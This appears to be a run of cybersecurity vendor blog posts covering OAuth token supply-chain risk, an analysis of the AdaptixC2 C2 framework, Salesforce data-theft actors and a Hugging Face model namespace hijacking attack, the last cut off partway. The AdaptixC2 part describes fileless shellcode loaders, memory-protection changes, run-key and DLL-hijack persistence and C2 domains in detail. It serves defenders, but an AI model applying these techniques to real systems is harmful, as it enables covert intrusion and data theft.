Trusted Connections, Hidden Risks: Token Management in the Third-Party Supply Chain

Posted on by Nathaniel Quist

A Day in the Life of a Security Defender

You are about to log off for the weekend when a high-severity alert flashes on your cloud security tool’s dashboard. A single, unfamiliar OAuth token is making hundreds of connections from three different IP addresses, two of which are flagged as belonging to an unknown VPN service.

The token belongs to a third-party application integrated with the company's Salesforce instance, one of those forgotten dormant integrations. A threat actor has stolen an OAuth token to bypass traditional defenses and is enumerating CRM accounts and exfiltrating sensitive data.

A pit forms in your stomach; you are experiencing a supply chain attack.

The incident is not just an internal issue. This supply chain threat involves a lack of monitoring by the third-party integration that exposed the third-party company and potentially its customers to a devastating, wide-reaching breach.

This underscores a critical threat landscape of inconsistently managed integrations and tokens. Downstream clients of a third-party application may easily overlook dormant integrations, insecure token storage and long-lived tokens.

In this situation, you immediately trigger the established security playbooks to revoke the token and rotate the associated credentials. But since the compromise targeted the third party application, you never really had full control over all the elements that led to the attack that kept you from logging out this evening. This scenario is a stark reminder of the significance of the third-party supply chain.

Identity as a Critical Asset

The widespread adoption of cloud-native, API driven architecture has made OAuth tokens a high-value target for threat actors. These tokens are the cornerstone of secure integration with third parties. In a cloud-centric world, nearly every service is integrated, often with third-party applications. As demonstrated by recent high-profile breaches such as Salesloft’s Drift, a single compromised token can have devastating consequences.

We believe the path forward is not just about better perimeter defenses, but in treating every identity token as a critical asset that must be protected, monitored and frequently rotated. This includes not only API tokens, but also open authorization (OAuth) access tokens and their associated refresh tokens. By embracing a zero-trust approach to dynamic token management for our applications, cloud providers and identity providers, we can build a more resilient and protected digital ecosystem to protect against sophisticated threats.

The Problem: Compromised OAuth Tokens

Text in an image warning that a single OAuth token can be more dangerous than a stolen password.

The 2025 Salesloft Drift incident serves as a critical case study in modern software as a service (SaaS) supply-chain risk. A threat actor, UNC6395, stole an OAuth token from the Salesloft Drift integration, which bypassed traditional defenses like MFA. This single, compromised credential provided legitimate, persistent access to hundreds of customer Salesforce instances. From there, the threat actors exfiltrated sensitive data, including embedded credentials, which enabled them to pivot and access other critical systems.

Our recent 2025 Unit 42 Global Incident Response Report named issues with the software supply chain as one of the threat landscape’s emerging trends. The report shared observations of identity and access management issues and highlighted how threat actors frequently use valid cloud accounts for initial access, privilege escalation and persistence.

The problem is hardly new.

When Trust is Broken: A Brief History of Token Misuse

Tokens are the invisible currency of trust in modern cloud environments. They let applications talk to each other, enable automation and keep workflows seamless. But when that trust isn’t managed carefully, tokens become one of the most dangerous tools in a threat actor’s toolbox. Over the last few years, we’ve seen three recurring patterns that show exactly why.

1. Dormant Integrations – Trust That Outlives Its Purpose

Think of an unused integration like an old key you left under the doormat. You may have forgotten it’s there, but threat actors can still use it. In 2022, GitHub disclosed that threat actors had compromised OAuth tokens issued to Heroku and Travis CI integrations. Many organizations weren’t actively using those integrations anymore, but the OAuth authorizations still lingered in their environments. By exploiting that forgotten trust, threat actors were able to access private GitHub repositories, download source code and potentially harvest secrets hidden inside.

Why It Matters

Every integration you keep alive, even if unused, extends your attack surface. A dormant integration doesn’t mean a harmless integration.

2. Insecure Token Storage – Keys Left in the Open

Tokens are only as strong as the places they’re kept. In 2023, CircleCI reported a breach where threat actors gained access to internal systems and exfiltrated customer OAuth tokens, environment variables and SSH keys. Many of these secrets were stored unencrypted in build environments, making them low-hanging fruit once the threat actors were inside.

The impact was serious. CircleCI had to inform every customer to rotate all tokens and secrets immediately, acknowledging that no stored credential could be considered safe. For many organizations, this meant postponing business IT priorities to focus on resetting keys across GitHub, AWS and other platforms before threat actors could exploit them.

Why It Matters

Storing tokens without encryption or adequate isolation is like leaving the keys to every room on the front desk of a hotel. Once a bad actor is inside, they don’t need to break into individual rooms because a key to every room is there, out in the open, for the taking.

3. No Expiration or Rotation – Keys That Never Expire

Even if a token is well protected, leaving it valid indefinitely creates a problem waiting to happen. The 2024 Internet Archive breach illustrated this risk. Threat actors exploited GitLab tokens that had remained valid for 22 months. With no rotation or expiration, threat actors had nearly two years of undisturbed access, ultimately exfiltrating 7 TB of data.

Why It Matters

Tokens must have a lifecycle. Without rotation and expiration, threat actors can turn one compromise into a prolonged, large-scale breach.

OAuth Best Practices: Recommendations for Organizations

Managing OAuth tokens and third-party integrations isn’t just technical housekeeping. It’s a core part of protecting your business. Tokens represent trust. If they’re stolen, misused or left unmanaged, threat actors can impersonate your identities and systems with potentially costly financial and reputational impact. To reduce this risk, organizations should adopt three pillars of token security: posture management, secure storage and active monitoring.

1. Token Posture Management – Know What You Have and Control It

The first step is visibility. Organizations must track how many OAuth tokens, API keys and service account credentials they have in circulation. Without an inventory, there’s no way to know what’s still in use or what’s potentially exposing you to compromise. Additionally, the longer a token remains valid, the more dangerous it becomes if compromised. By controlling token lifetimes, organizations reduce the window of opportunity for threat actors.

  • Maintain an inventory: Build and maintain a clear, up-to-date catalog of all OAuth tokens and service credentials.
  • Remove dormant integrations: Conduct regular audits of third-party apps and revoke tokens for those no longer in use. Dormant integrations are forgotten backdoors.
  • Shorten token lifespans: Configure access tokens to expire quickly and limit refresh tokens wherever possible.
  • Rotate and expire regularly: Enforce policies requiring tokens to expire and be rotated on a schedule, just like passwords.
  • Build expiration into design: Treat token renewal as a deliberate, auditable action.

2. Secure Token Storage – Protect the Keys Themselves

Tokens should be treated like encryption keys. They should never be left in plaintext and never be stored within source code or readable in logs. Vendors and internal teams must be able to demonstrate secure storage practices. If not, compromise is only a matter of time.

  • Enforce secure storage: Implement a secure secret management solution and strong token governance inside your organization. Require that all third-party vendors use proper secret management solutions and encryption for stored tokens.
  • Audit vendor and internal practices: Build secure token storage requirements into internal IT policy, vendor risk assessments and supply-chain security reviews.

3. Runtime Monitoring and Detection – Watch for Abuse and Act Fast

Even with good hygiene, breaches still happen. Monitoring and rapid response are required. Being able to determine when a token has been compromised is essential. If a token is stolen, every minute during the response process counts to contain impact.

  • Centralize logging: Capture OAuth and API authentication events from all providers and integrations in one place.
  • Use IAM security tools: Implement platforms with built-in anomaly detection for token-based access.
  • Detect and revoke quickly: Monitor for unusual activity such as mass data exports or unexpected geographic access and have playbooks ready to immediately revoke and rotate compromised tokens.
  • Practice breach drills: Ensure security teams know how to execute revocations across multiple systems under time pressure.

The Way Forward

As the introduction story illustrates, a single compromised OAuth token can be a dangerous vulnerability.

The breaches we've examined, from dormant OAuth apps at Microsoft to insecure token storage at CircleCI and long-lived credentials at the Internet Archive, all point to a shared problem: Token and integration management can be an industry weak spot.

To reduce these risks, every organization must raise its baseline:

  • Secure tokens like credentials
  • Demand higher standards from vendors
  • Enforce integration hygiene
  • Improve monitoring
  • Treat token compromises as if they were a supply chain threat

In recognition of these widespread risks, Palo Alto Networks is aggressively strengthening our own token posture management and hygiene to secure the lifecycle of these critical credentials.

Effective guidance exists in current industry frameworks for some of these risks. There remains a real need to enforce and build on existing frameworks. Additionally, organizations can take a leading role in creating internal security operational materials, such as manual and automated playbooks and enforcing policy guidance around third-party OAuth governance and integration hygiene.

References

AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks

Posted on by Samantha Stallings

Executive Summary

In early May 2025, Unit 42 researchers observed that AdaptixC2 was used to infect several systems.

AdaptixC2 is a recently identified, open-source post-exploitation and adversarial emulation framework made for penetration testers that threat actors are using in campaigns. Unlike many well-known C2 frameworks, AdaptixC2 has remained largely under the radar. There is limited public documentation available demonstrating its use in real-world attacks. Our research looks at what AdaptixC2 can do, helping security teams to defend against it.

AdaptixC2 is a versatile post-exploitation framework. Threat actors use it to execute commands, transfer files and perform data exfiltration on compromised systems. Because it’s open-source, threat actors can easily customize and adapt it for their specific objectives. This makes it a highly flexible and dangerous tool.

The emergence of AdaptixC2 as a tool used in the wild by threat actors highlights a growing trend of attackers using customizable frameworks to evade detection.

Palo Alto Networks customers are better protected from the threats described in this article through the following products:

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Pentesting Tools, C2

Technical Analysis of the AdaptixC2 Adversarial Framework

AdaptixC2 is an open-source C2 framework that we recently saw being used in several real-world attacks.

We identified two AdaptixC2 infections. One case leveraged social engineering techniques. We assess with high confidence that the other used AI-based code generation tools.

AdaptixC2 Functionality

AdaptixC2 is a red teaming tool that can be used to perform adversarial actions, which can be expanded for customization. If this were used by a threat actor, they could comprehensively control impacted machines, to execute a wide range of actions. These include:

  • Manipulating the file system
  • Listing directories
  • Creating, modifying and deleting files and folders
  • Enumerating running processes
  • Terminating specific applications
  • Initiating new program executions

Threat actors use these capabilities to establish and maintain a foothold in an environment, further explore the compromised system and move laterally within the network.

To facilitate covert communication and bypass network restrictions, the framework supports sophisticated tunneling capabilities, including SOCKS4/5 proxy functionality and port forwarding. This enables attackers to maintain communication channels even if the network is heavily protected.

AdaptixC2 is designed to be modular, using “extenders” that act like plugins for both listeners and agents. This lets hackers create custom payloads and ways to avoid detection that are specific to the system they're attacking. AdaptixC2 also supports Beacon Object Files (BOFs), which let attackers run small, custom programs written in C directly within the agent's process to evade detection.

AdaptixC2’s beacon agents are equipped with dedicated commands for transferring data quickly and secretly. These agents support both x86 and x64 architectures, and can be generated in various formats, including:

  • Standalone executables (EXEs)
  • Dynamic-link libraries (DLLs)
  • Service executables
  • Raw shellcode

Attackers can use the AdaptixC2 framework to steal data from the compromised network. This data exfiltration functionality allows configurable chunk sizes for file downloads and uploads, as network-based detection is likely to see smaller segments as less suspicious.

The AdaptixC2 interface shows linked agents and sessions in a graphical view. Figure 1 shows an attacker’s view of how multi-stage attacks are progressing and what paths are available for moving around a targeted network.

Screenshot of AdaptixC2 server. Interface shows various asset and script windows open as well as an attack chain demonstrated through icons for firewalls and computers.
Figure 1. Graphical view – AdaptixC2 server. Source: AdaptixC2 GitHub.

AdaptixC2 also has features to help the attacker maintain operational security (OpSec). These include parameters that help them blend in with normal network traffic:

  • KillDate – This sets a date to make the beacon stop working
  • WorkingTime – This sets the beacon to only be active during certain hours

Additionally, threat actors can modify and enhance the agent using custom obfuscation, anti-analysis and evasion techniques, making it a continuously evolving threat.

Configuration

​​AdaptixC2’s configuration is encrypted, and supports three primary beacon types through specialized profile structures:

  • BEACON_HTTP for web-based communication
  • BEACON_SMB for named pipe communication
  • BEACON_TCP for direct TCP connections

The HTTP profile is the most common beacon variant and contains typical web communication parameters such as:

  • Servers
  • Ports
  • SSL settings
  • HTTP methods
  • URIs
  • Headers
  • User-agent strings

The SMB profile uses Windows named pipes when HTTP might be blocked or monitored. The TCP profile is used to create direct socket connections with the option to prepend data for basic protocol obfuscation.

AdaptixC2 includes a built-in default configuration that demonstrates typical deployment parameters. The default HTTP profile targets 172.16.196.1:4443 using HTTPS communication, with a POST method to the /uri.php endpoint and the X-Beacon-Id parameter for beacon identification.

Figure 2 shows how to configure the beacon.

Screenshot of the Beacon setup interface, showing tabs for Main settings, HTTP Headers, error page, and payload. The selected tab displays fields for configuring Host & port, Callback addresses, SSL Key, and other network settings.
Figure 2. Beacon HTTP builder UI. Source: AdaptixC2 documentation.

After clicking “Create,” the beacon builder encrypts the configuration with RC4 and then embeds it in the compiled beacon. The encrypted configuration is stored as follows:

  • 4 bytes: Configuration size (32-bit integer)
  • N bytes: RC4-encrypted configuration data
  • 16 bytes: RC4 encryption key

The following code is the key extraction logic, taken from AgentConfig.cpp:

Extracting Configuration From Malicious Samples

Because the encryption is simple and predictable, defenders can develop an extractor that will extract configurations from samples automatically. This extraction tool should work in the same way that the beacon loads its own configurations.

The extractor locates the configuration in the PE file’s .rdata section. It then extracts the size (first four bytes), encrypted data block and RC4 key (last 16 bytes). After using the embedded RC4 key to decrypt the data, it parses the plaintext configuration by unpacking the following fields:

  • Agent type
  • SSL flag
  • Server count
  • Servers/ports
  • HTTP parameters
  • Timing settings

Using this method, we created a tool that can process AdaptixC2 samples and get their embedded configurations. The complete extractor code supports the BEACON_HTTP variant. This tool is provided in the Configuration Extractor Example section. Researchers can use this extractor to analyze AdaptixC2 samples or adapt the code for other variants.

Following is the built-in default configuration of the beacon.

AdaptixC2 Scenarios

Scenario 1: Fake HelpDesk Support Leads to AdaptixC2 Infection

In May 2025, we investigated multiple incidents where threat actors installed AdaptixC2 beacons. In some cases, we observed threat actors using the same attack vector, shown in Figure 3.

Illustration showing the process 'Fake Help Desk Support Call Leads to AdaptixC2'. Sequence includes: a fake Help Desk support call, a computer executing Quick Assist, a script file executing named update.ps1, downloading shellcode from Google Drive, decrypting and loading shellcode to memory, and a skull inside a bug representing AdaptixC2 beacon.
Figure 3. Attack vector of AdaptixC2 installation on victim machine. Source: Unit 42 X post.

Initial Compromise

The threat actors leveraged trust in Microsoft Teams to trick people into giving them access to company systems. In one case, attackers used phishing attacks to impersonate IT support personnel (using subject lines like “Help Desk (External) | Microsoft Teams”). This convinced employees to initiate legitimate remote assistance sessions using tools like the Quick Assist Remote Monitoring and Management (RMM) tool.

Threat actors often misuse legitimate products for malicious purposes. This does not necessarily imply a flaw or malicious quality to the legitimate product being misused.

The 2025 Unit 42 Global Incident Response Report: Social Engineering Edition noted that social engineering techniques like this are the most prevalent initial access vector for compromises we observe. This initial access provides the attackers with a foothold within the targeted system, without having to bypass perimeter defenses such as firewalls and intrusion detection systems.

AdaptixC2 Deployment and Persistence via Shellcode Execution

The attackers deployed the AdaptixC2 beacon using a multi-stage PowerShell loader that downloads an encoded and encrypted payload from a link to a legitimate service,

Once downloaded, the PowerShell script decrypts the payload using a simple XOR key. Instead of writing the decrypted payload to disk, which would make it easier to detect, the script leverages .NET capabilities to allocate memory within the PowerShell process itself. The script then copies the decrypted payload, which is actually shellcode, into this allocated memory region. This fileless approach significantly reduces the attacker’s footprint on the system.

A screenshot displaying code from a software development environment, with text primarily in green and white colors on a dark background. The code includes various programming functions and syntax elements.
Figure 4. PowerShell script to download and execute shellcode.

The script uses a technique called “dynamic invocation” to execute the shellcode directly from memory. It does this using the GetDelegateForFunctionPointer method, which dynamically creates a delegate (a type-safe function pointer) that points to the beginning of the shellcode in memory. The script then calls this delegate as if it were a normal function, effectively executing the shellcode without writing an executable file to disk. To guarantee the malicious process automatically starts after reboot, the script creates a shortcut in the startup folder. Figure 4 shows the PowerShell script.

A screenshot displays a PowerShell script on a blue background, including commands for creating a startup item in Windows and handling errors.
Figure 5. PowerShell script to install AdaptixC2 beacon.

The beacon variant loaded in this attack had the following configuration:

Post-Exploitation Activity and Containment

Following the successful deployment of AdaptixC2, the attackers initiated reconnaissance activities, using command-line tools to gather information about the compromised systems and network. This included discovery commands such as nltest.exe, whoami.exe and ipconfig.exe.

The beacon then established communication with a remote server, enabling the threat actors to obtain C2 on the infected machine.

Scenario 2: Infection Involving AI-Generated Script

In another case, threat actors deployed a PowerShell script that was designed to deploy AdaptixC2 beacons. We assess with high confidence that this script was AI-generated. This deployment was done both through in-memory shellcode injection and using a file-based DLL hijacking persistence mechanism. The script, shown in Figure 5, focuses on staying hidden on the impacted system to give the hackers a strong foothold.

A screenshot of a computer screen displaying code with syntax highlighting. The code was generated by AI.
Figure 6. AI-generated PowerShell installer for AdaptixC2.

Detailed Analysis of the AI-Generated PowerShell

  • Downloading and decoding shellcode: The script downloads a Base64-encoded shellcode payload from a remote server using Invoke-RestMethod. The downloaded content is then decoded.
  • Allocating memory, copying shellcode and changing memory protection: The script allocates a block of unmanaged memory. The AdaptixC2 shellcode is then copied into the allocated memory and changes the memory protection attributes of the allocated memory region via VirtualProtect to 0x40 (PAGE_EXECUTE_READWRITE). This enables the execution of the shellcode.
  • Executing shellcode via dynamic invocation: As in the previous case, the attacker used GetDelegateForFunctionPointer to create a delegate instance that points to the beginning of the shellcode in memory. The attacker then used the Invoke() method to execute the shellcode, launching the in-memory beacon.
  • DLL hijacking persistence: The script targets the APPDATA\Microsoft\Windows\Templates directory for DLL hijacking, using msimg32.dll. This DLL is also a beacon version.
  • Persistence via registry run key: The script creates a registry entry in the run key named “Updater,” with a PowerShell command that executes the loader.ps1 script. This ensures that the loader.ps1 script runs every time the user logs in, to execute the beacon.

AI Script Generation

The structure and composition of this PowerShell script strongly suggests that the attacker used AI-assisted generation. The following stylistic elements are commonly observed in code generated by AI tools:

  • Verbose, numbered comments:
    • "# === [1] Download and decode shellcode ==="
  • Check mark icons in the output message:
    • Write-Output "[✔] Persistence set via Run key and DLL hijack DLL dropped to $templatesPath"

We assess with high confidence that the code was generated with the assistance of AI. This is based on the factors above, as well as evidence gathered from the attacker’s server and results extracted from two separate AI detectors.

AI tools without sufficient guardrails can let attackers rapidly develop malicious code, making it easier to execute operations in infected networks.

Similarities Between the Cases

A consistent pattern emerged across both of these incidents:

  • PowerShell-based loaders
    • Threat actors used these loaders to deploy the AdaptixC2 beacon, prioritizing stealth and persistent access.
  • Downloading a payload from a remote server and executing it in memory
    • Using a legitimate resource helped the attackers to stay under the radar, by minimizing detectable traces on disk.
  • Relying on .NET capabilities for memory allocation and dynamic invocation
    • Threat actors leveraged built-in system functionalities like the GetDelegateForFunctionPointer method to execute shellcode, for efficiency and stealth.
  • Preventing beacon removal with persistence mechanisms
    • While the first script relied solely on a shortcut in the startup folder for persistence, the second added DLL hijacking.
    • This gives attackers more ways to stay on the compromised system.
  • Using similar naming conventions for scripts and run keys
    • In one case, the attackers named the malicious script update.ps1. In another case, the run key for persistence was called Updater.
    • This naming helps scripts and keys to blend in with legitimate system processes.

Increasing Prevalence of AdaptixC2 Framework

Our telemetry and threat intelligence show that AdaptixC2 is becoming more common. We continue to identify new AdaptixC2 servers, suggesting that more threat actors are adopting this framework as part of their attack toolkit.

This trend extends beyond typical post-exploitation scenarios. For example, attackers deployed Fog ransomware alongside AdaptixC2 in a recent attack on a financial institution in Asia. This shows that AdaptixC2 is versatile and can be used with other malicious tools, like ransomware, to achieve broader objectives.

Conclusion

AdaptixC2 is an adaptable threat, which is shown by its increasing popularity with threat actors and the complexity of its deployment techniques. The framework’s modularity, combined with the potential for AI-assisted code generation, could allow threat actors to rapidly evolve their tactics. Security teams must remain aware of AdaptixC2’s capabilities and proactively adapt their defenses to counter this threat.

Palo Alto Networks customers are better protected from the threats discussed above through the following products and services:

  • Advanced URL Filtering and Advanced DNS Security identify known domains and URLs associated with this activity as malicious.
  • Advanced Threat Prevention has an inbuilt machine learning-based detection that can detect exploits in real time.
  • TheAdvanced WildFire machine-learning models and analysis techniques have been reviewed and updated in light of the indicators shared in this research.
  • Cortex XDR and XSIAM help prevent malware by employing the Malware Prevention Engine. This approach combines several layers of protection designed to prevent both known and unknown malware from causing harm to your endpoints. The mitigation techniques that the Malware Prevention Engine employs vary by endpoint type.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Value Type Description
bdb1b9e37f6467b5f98d151a43f280f319bacf18198b22f55722292a832933ab SHA256 PowerShell script that installs an AdaptixC2 beacon
83AC38FB389A56A6BD5EB39ABF2AD81FAB84A7382DA296A855F62F3CDD9D629D SHA256 PowerShell script that installs an AdaptixC2 beacon
19c174f74b9de744502cdf47512ff10bba58248aa79a872ad64c23398e19580b SHA256 PowerShell script that installs an AdaptixC2 beacon
750b29ca6d52a55d0ba8f13e297244ee8d1b96066a9944f4aac88598ae000f41 SHA256 PowerShell script that installs an AdaptixC2 beacon
b81aa37867f0ec772951ac30a5616db4d23ea49f7fd1a07bb1f1f45e304fc625 SHA256 AdaptixC2 beacon as DLL
df0d4ba2e0799f337daac2b0ad7a64d80b7bcd68b7b57d2a26e47b2f520cc260 SHA256 AdaptixC2 beacon as EXE
AD96A3DAB7F201DD7C9938DCF70D6921849F92C1A20A84A28B28D11F40F0FB06 SHA256 Shellcode that installs AdaptixC2 beacon
tech-system[.]online Domain  AdaptixC2 domain
protoflint[.]com Domain  AdaptixC2 domain
novelumbsasa[.]art Domain  AdaptixC2 domain
picasosoftai[.]shop Domain  AdaptixC2 domain
dtt.alux[.]cc Domain  AdaptixC2 domain
moldostonesupplies[.]pro Domain  AdaptixC2 domain
x6iye[.]site Domain  AdaptixC2 domain
buenohuy[.]live Domain  AdaptixC2 domain
firetrue[.]live Domain  AdaptixC2 domain
lokipoki[.]live Domain  AdaptixC2 domain
veryspec[.]live Domain  AdaptixC2 domain
mautau[.]live Domain  AdaptixC2 domain
muatay[.]live Domain  AdaptixC2 domain
nicepliced[.]live Domain  AdaptixC2 domain
nissi[.]bg Domain  AdaptixC2 domain
express1solutions[.]com Domain  AdaptixC2 domain
iorestore[.]com Domain  AdaptixC2 domain
doamin[.]cc Domain  AdaptixC2 domain
regonalone[.]com Domain  AdaptixC2 domain

Yara Rules

Defenders can use these Yara rules to check for the presence of AdaptixC2 beacons on machines.

AdaptixC2 HTTP/SMB/TCP Beacon

AdaptixC2 Go Beacon

AdaptixC2 Loader

Hunting Rules

  • Query description: The following XQL query hunts for phishing activity conducted via the Teams application that leads to RMM execution. These attributes are commonly targeted by attackers to deploy AdaptixC2 beacons.
  • Investigation notes: Start by checking the User Session Title. Look for RMM tool execution and child process or file creation using the RMM tool. Look for alerts or suspicious executions such as cmd or PowerShell by the compromised user (actor_effective_username).

Configuration Extractor Example

The following code is an example of a configuration extractor that extracts configurations from HTTP beacon files.

Additional Resources

Data Is the New Diamond: Latest Moves by Hackers and Defenders

Posted on by Ria Bhatia

There have been several notable developments in recent weeks related to data theft activity from cybercriminals targeting Salesforce instances, including via the Salesloft Drift supply chain attack detailed in a recent Unit 42 Threat Brief. (To learn more about the history behind these Salesforce attacks and their impact to private sector organizations, please see my previous publication, “Heists in the Digital Age.”)

Fallout From Salesloft Drift Attack

New developments seem to surface daily related to this supply chain attack, which Salesloft indicates may date as far back as March 2025 in terms of threat actor reconnaissance. The attacks are attributed by Google to UNC6395, a cluster of threat activity that appears focused on stealing sensitive credentials and data from various Salesforce objects (Account, Contact, Case and Opportunity records). It is currently unclear if this activity is related or not to the aforementioned targeting of Salesforce tenants by UNC6040 and Bling Libra. However, one theme remains clear — cybercriminals see great value in stealing customer data from digital platforms like Salesforce and leveraging it for their own financial gain. Essentially, this data has become the digital equivalent to diamonds from physical heists in past decades.

Glimpses Into Telegram Claims

Threat actors claiming to be associated with Muddled Libra (aka Scattered Spider) and Bling Libra have launched various Telegram channels in recent weeks, including many labeled using a combination of the words “Scattered LAPSUS$ Hunters.” In these channels, they boast of their vast data theft extortion activities, including those impacting various organizations within the retail industry. Several of the email addresses provided by the threat actors to facilitate communications with buyers or victims overlap with prior Unit 42 research into Bling Libra. Additionally, the threat actors claim to soon be launching a new RaaS dubbed “ShinySpider” which they assert could reach encryption speeds of one GB per second.

As of September 5, some of the Telegram channels associated with these threat actors have either been banned or disabled, while others remain active.

Affiliation With “The Com”

As noted in a recent Unit 42 Insights piece on Muddled Libra, many of the threat actors conducting these types of attacks are likely affiliated with “The Com.” This means that they are relatively young and fluent in speaking English. This makes it extremely difficult for organizations to detect their social engineering activity.

To me, what really stands out about these Com-affiliated threat actors in terms of their effectiveness in achieving their goals is their focus on exploiting inherent flaws within people and processes of targeted organizations, not vulnerabilities inherent within technologies via zero-day exploits or other mechanisms. (See the 2025 Unit 42 Global Incident Response Report: Social Engineering Edition for more details of this trend.)

One of the members of Muddled Libra was recently sentenced to 10 years in federal prison, in addition to being ordered to pay more than $13 million in restitution. It will be interesting to see if this has some sort of short or long term deterrence effect on other cybercriminals associated with The Com, including those conducting the aforementioned social engineering attacks targeting Salesforce tenants. One news outlet recently quoted several security firms which indicated that the threat actors were indeed “spooked” by four arrests made by UK law enforcement officials in July.

Future Shift in Tactics

Salesforce announced that beginning this month it will restrict the ability of end users to leverage uninstalled connected applications. This should help prevent threat actors from using a modified version of their Data Loader or other applications. Threat actors will likely change their approach to accessing and exfiltrating sensitive data in response, including potentially targeting other third-party digital platforms for data theft extortion.

The Road Ahead for Retail Cyberattacks

One of the more notable trends across the retail threat landscape in recent years involves the shift in monetization tactics used by high profile threat actors.

For example, cybercriminal groups such as Rambunctious Libra (aka FIN6, Skeleton Spider) and Squeamish Libra (aka FIN7, Carbon Spider) traditionally used point-of-sale (POS) malware and digital skimming to steal payment card data from retailers. They would then resell it on now-defunct carding shops (e.g., Joker’s Stash) as a means to cash out their intrusion operations.

Since that time, the rise and evolution of RaaS programs has provided these cybercriminal groups with a more lucrative and less resource-intensive method (affiliate model) to monetize their intrusion operations.

However, given the attention that law enforcement officials have placed on disrupting the ransomware ecosystem, it is highly possible, if not likely, that cybercriminal groups will shift to data theft extortion or other monetization tactics (e.g., payroll fraud, gift card fraud) to stay under the radar of authorities. Cybercrime is typically a copycat game, so if the playbooks used by entities like UNC6040 and Bling Libra prove to be effective and sustainable models, others will follow suit.

My Recommendations

Prior to joining Unit 42 earlier this summer, I spent five and a half years as an analyst and leader on a widely recognized cyber threat intelligence team for a prominent retail corporation. I’ve applied that experience below to make suggestions that could help defenders at similar organizations.

Actively participating within organizations like the Retail and Hospitality Information Sharing and Analysis Center (RH-ISAC) can be incredibly impactful for defenders. This participation can be especially valuable for understanding high profile threat actors targeting the retail sector. Based on my prior and current experience working closely with this organization and its members, you’ll likely gain unique insights into the infrastructure and tools used by these threat actors. You may also gain information such as audio recordings of vishing attempts that your security teams could use to better tailor awareness messaging.

Keep an eye out for real-world observations of social engineering attacks and how to mitigate them. For example, Salesforce released suggestions specific to their environment informing customers of social engineering threats and what can be done to mitigate or prevent impacts from them. The 2025 Unit 42 Global Incident Response Report: Social Engineering Edition also shares insights from across a variety of incident response cases and provides mitigation suggestions.

As I learned from leaders at my prior organization, cybersecurity is truly a team sport, and we are all better when we are in it together. Staying abreast of information from peer organizations and other defenders can help you put threats in context and build a defense strategy that works for you.

Model Namespace Reuse: An AI Supply-Chain Attack Exploiting Model Name Trust

Posted on by Samantha Stallings

Executive Summary

Our research uncovered a fundamental flaw in the AI supply chain that allows attackers to gain Remote Code Execution (RCE) and additional capabilities on major platforms like Microsoft’s Azure AI Foundry, Google’s Vertex AI and thousands of open-source projects. We refer to this issue as Model Namespace Reuse.

Hugging Face is a platform that enables AI developers to build, share and deploy models and datasets. On that platform, namespaces are the identifiers of models, which are Git repositories that are stored on the Hugging Face hub. Hugging Face models contain configurations, weights, code and information to enable developers to use the models.

Model Namespace Reuse occurs when cloud provider model catalogs or code retrieve a deleted or transferred model by name. By re-registering an abandoned namespace and recreating its original path, malicious actors can target pipelines that deploy models based solely on their name. This potentially allows attackers to deploy malicious models and gain code execution capabilities, among other impacts.

While we have responsibly disclosed this to Google, Microsoft and Hugging Face, the core issue remains a threat to any organization that pulls models by name alone. This discovery proves that trusting models based solely on their names is insufficient and necessitates a critical reevaluation of security in the entire AI ecosystem.

Organizations can gain help assessing cloud security posture through the Unit 42 Cloud Security Assessment.

The Unit 42 AI Security Assessment can assist organizations with empowering safe AI use and development.

If you think you might have been compromised or have an urgent matter, contact the Unit 42 Incident Response team.

Related Unit 42 Topics Supply Chain, GenAI

Explaining Model Namespace Reuse

Understanding how Hugging Face organizes and identifies models is crucial to understanding the model namespace reuse technique. The most common resource on their platform is the model. These models are essentially Git repositories that contain model configurations, weights and any additional code or information that developers and researchers might need to use the models effectively.

How Developers Pull Models

For identification and access, developers can reference and pull models using a two-part naming convention: Author/ModelName. In this structure, the Author component represents the Hugging Face user or organization that published the model, while ModelName is the name of the model.

For example, if AIOrg published the model Translator_v1, the model name is AIOrg/Translator_v1. Author names serve as unique identifiers. If an author already exists, a new author with the same name cannot be created.

Developers use the Author/ModelName identifier directly in their code across various Hugging Face libraries to fetch and utilize models. For example, developers can use the code shown in Figure 1 to fetch the Translator_v1 model from the commonly used Transformers library.

Code snippet showing Python import statements for using AutoTokenizer and AutoModelForCausalLM from the Hugging Face Transformers library, specifically importing 'AI0rg/Translator_v1' models.
Figure 1. Code to fetch Translator_v1 model from the Transformers library.

This hierarchical structure allows for clear attribution and organization. However, in the absence of stringent lifecycle controls over these namespaces, this structure also creates an unexpected attack surface.

The model namespace reuse technique exploits the way that Hugging Face manages Author/ModelName namespaces after an organization or author deletes their own account. Our investigation into this area revealed a critical aspect: Anyone can re-register a deleted namespace.

When a user or organization is deleted from Hugging Face, its unique namespace does not become permanently unavailable. Instead, these identifiers return to a pool of available names, allowing another user to later create an organization with the same name. This reuse process is shown in Case Study 1 – Vertex AI.

Ownership Deletion in Hugging Face

Consider the following fictional scenario of a model that had its author deleted:

The DentalAI organization created the legitimate model toothfAIry. The model can analyze dental images and accurately detect cavities and other tooth abnormalities. Its effectiveness and ease of use made it a favorite among developers, dental researchers and healthcare professionals. Over time, DentalAI/toothfAIry was integrated into diagnostic tools, medical platforms and even open-source health-tech repositories.

At some point, however, developers from DentalAI deleted the organization from Hugging Face. A malicious actor noticed this and took advantage of the situation by recreating the DentalAI organization and uploading a compromised version of the toothfAIry model under the same name.

As a result, all codebases and pipelines still referencing the original model are now at serious risk.

One might assume that as long as a trusted model name continues to function in its code, there is no risk of malicious reuse of that namespace. This is a misconception. Without developers being aware of it, codebases and pipelines might pull and deploy the malicious version. Malicious models could result in a range of unintended outcomes, from incorrect diagnoses to ongoing unauthorized access by an attacker on affected systems.

Figure 2 outlines the steps followed in this fictional scenario.

Sequence of five diagrams illustrating the attack vector flow. 1: A user uses a model sourced from Hugging Face. 2: The model's author is delete, leaving its unique name available. 3: Since the author was deleted, the model itself is no longer available. 4: An attacker recreates the model with the exact name and adds harmful content. 5: An unsuspecting user downloads and uses the malicious model.
Figure 2. High-level view of the attack vector flow.

